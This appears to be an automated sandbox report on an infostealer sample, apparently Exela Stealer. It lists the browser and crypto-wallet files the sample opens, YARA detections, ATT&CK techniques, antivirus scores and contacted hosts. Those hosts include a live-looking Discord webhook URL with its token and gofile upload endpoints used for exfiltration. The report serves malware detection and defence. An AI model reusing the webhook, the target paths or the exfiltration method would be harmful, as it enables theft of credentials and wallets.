Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets	Jump to behavior

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rename_me_before.exe PID: 3512, type: MEMORYSTR

Source: Yara match	File source: 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980252152.000001B102F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rename_me_before.exe PID: 3512, type: MEMORYSTR

Remote Access Functionality

Yara detected Exela Stealer

Source: Yara match	File source: 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rename_me_before.exe PID: 3512, type: MEMORYSTR

Yara detected Python Stealer

Source: Yara match	File source: 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rename_me_before.exe PID: 3512, type: MEMORYSTR

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rename_me_before.exe PID: 3512, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	331 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	1 GUI Input Capture	2 System Network Connections Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	22 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	21 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 GUI Input Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	11 Process Injection	11 Software Packing	NTDS	56 System Information Discovery	Distributed Component Object Model	1 Email Collection	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	561 Security Software Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	31 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rename_me_before.exe	68%	Virustotal		Browse
rename_me_before.exe	50%	ReversingLabs	Win64.Adware.RedCap
rename_me_before.exe	100%	Avira	TR/Redcap.woxyt

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	100%	Avira	TR/Redcap.woxyt
C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	58%	ReversingLabs	Win64.Trojan.Cerbu
C:\Users\user\AppData\Local\Temp\_MEI13962\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_cffi_backend.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_helpers.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_parser.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_writer.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_websocket.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\frozenlist\_frozenlist.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\multidict\_multidict.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\python311.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\unicodedata.pyd	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI13962\yarl\_quoting_c.cp311-win_amd64.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
https://i.hidHdJb	0%	Avira URL Cloud	safe
https://www.attrs.org/en/23.2.0/_static/sponsors/FilePreviews.svg	0%	Avira URL Cloud	safe
https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campa	0%	Avira URL Cloud	safe
https://www.attrs.org/en/23.2.0/_static/sponsors/Tidelift.svg	0%	Avira URL Cloud	safe
https://zopeinterface.readthedocs.io/en/latest/	0%	Avira URL Cloud	safe
https://www.attrs.org/en/stable/why.html#data-classes).	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
ip-api.com	208.95.112.1	true	false	high
canary.discord.com	162.159.137.232	true	false	high
store1.gofile.io	45.112.123.227	true	false	high
api.gofile.io	45.112.123.126	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://store1.gofile.io/uploadFile	false		high
https://canary.discord.com/api/webhooks/1263157181906419813/b4pV0iwlt5KWRU4QEOMzoONBAdBMW4nt-dNtrU5B2-50jsFyHabL0Uos8mtD0ZVFUQNS	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.attrs.org/en/stable/why.html#data-classes).	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://i.hidHdJb	rename_me_before.exe, 00000001.00000003.1948127865.000001B1028B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/ssl.html#ssl.OP_NO_COMPRESSION	rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971261333.000001B100CC5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977938973.000001B101240000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977307117.000001B100CD2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.riotgames.com/api/account/v1/user	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://accounts.reddit.com/api/access_token	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9	rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978027683.000001B101370000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/251	rename_me_before.exe, 00000001.00000003.1963524951.000001B100A7B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100A7B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1967857671.000001B100A7E000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100A7B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971346591.000001B100B51000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1976903040.000001B100B52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tiktok.com/	rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/aio-libs/aiohttp/discussions/6044	rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977125594.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977852804.000001B101140000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971261333.000001B100CC5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977307117.000001B100CD2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.42.dr, qmgr.db.42.dr	false		high
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok	rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp	false		high
http://python.org	rename_me_before.exe, 00000001.00000002.1977757597.000001B101040000.00000004.00001000.00020000.00000000.sdmp	false		high
http://python.org:80	rename_me_before.exe, 00000001.00000002.1977757597.000001B101040000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	rename_me_before.exe, 00000001.00000003.1965401133.000001B17E4F0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966237596.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981201596.000001B17E536000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1667996233.000001B17E531000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668933285.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669358961.000001B17E510000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670306810.000001B17E523000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668055844.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669127853.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965746028.000001B17E529000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/sponsors/hynek	METADATA.0.dr	false		high
https://github.com/pyca/cryptography/actions?query=workflow%3ACI	rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	false		high
https://oauth.reddit.com/api/v1/me	rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.apache.org/licenses/LICENSE-2.0	rename_me_before.exe, 00000000.00000003.1662615614.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1662503428.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1662689097.000001CF0A2A1000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1662503428.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, LICENSE.APACHE.0.dr	false		high
https://www.attrs.org/en/23.2.0/_static/sponsors/FilePreviews.svg	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1975466340.000001B1005E9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.42.dr, qmgr.db.42.dr	false		high
https://github.com/python-attrs/attrs/issues/1200)	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://github.com/python-attrs/attrs)	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://www.attrs.org/)	rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false		high
https://twitter.com	rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870	rename_me_before.exe, 00000001.00000003.1890796970.000001B1033C5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/home	rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000045.00000002.1843174125.000001DBCF1C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000045.00000002.1826414031.000001DBC0974000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000045.00000002.1843174125.000001DBCF082000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cacerts.digi	rename_me_before.exe, 00000000.00000003.1663922956.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.kill	rename_me_before.exe, 00000001.00000002.1977466088.000001B100D40000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/136	rename_me_before.exe, 00000001.00000002.1975958598.000001B1006A7000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966055870.000001B100617000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1970448147.000001B1006A7000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1679845016.000001B100B67000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968725950.000001B1006A6000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966129249.000001B100693000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1679845016.000001B100BB8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1679902734.000001B1009F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba	rename_me_before.exe, 00000001.00000002.1976903040.000001B100B52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gofile.io/d/ukhEgs)	rename_me_before.exe, 00000001.00000002.1979075425.000001B101E80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://i.hizliresim.com/8po0puy.jfif	rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0205/	rename_me_before.exe, 00000001.00000002.1974448798.000001B100440000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	rename_me_before.exe, 00000001.00000002.1977564898.000001B100E40000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000045.00000002.1826414031.000001DBBF011000.00000004.00000800.00020000.00000000.sdmp	false		high
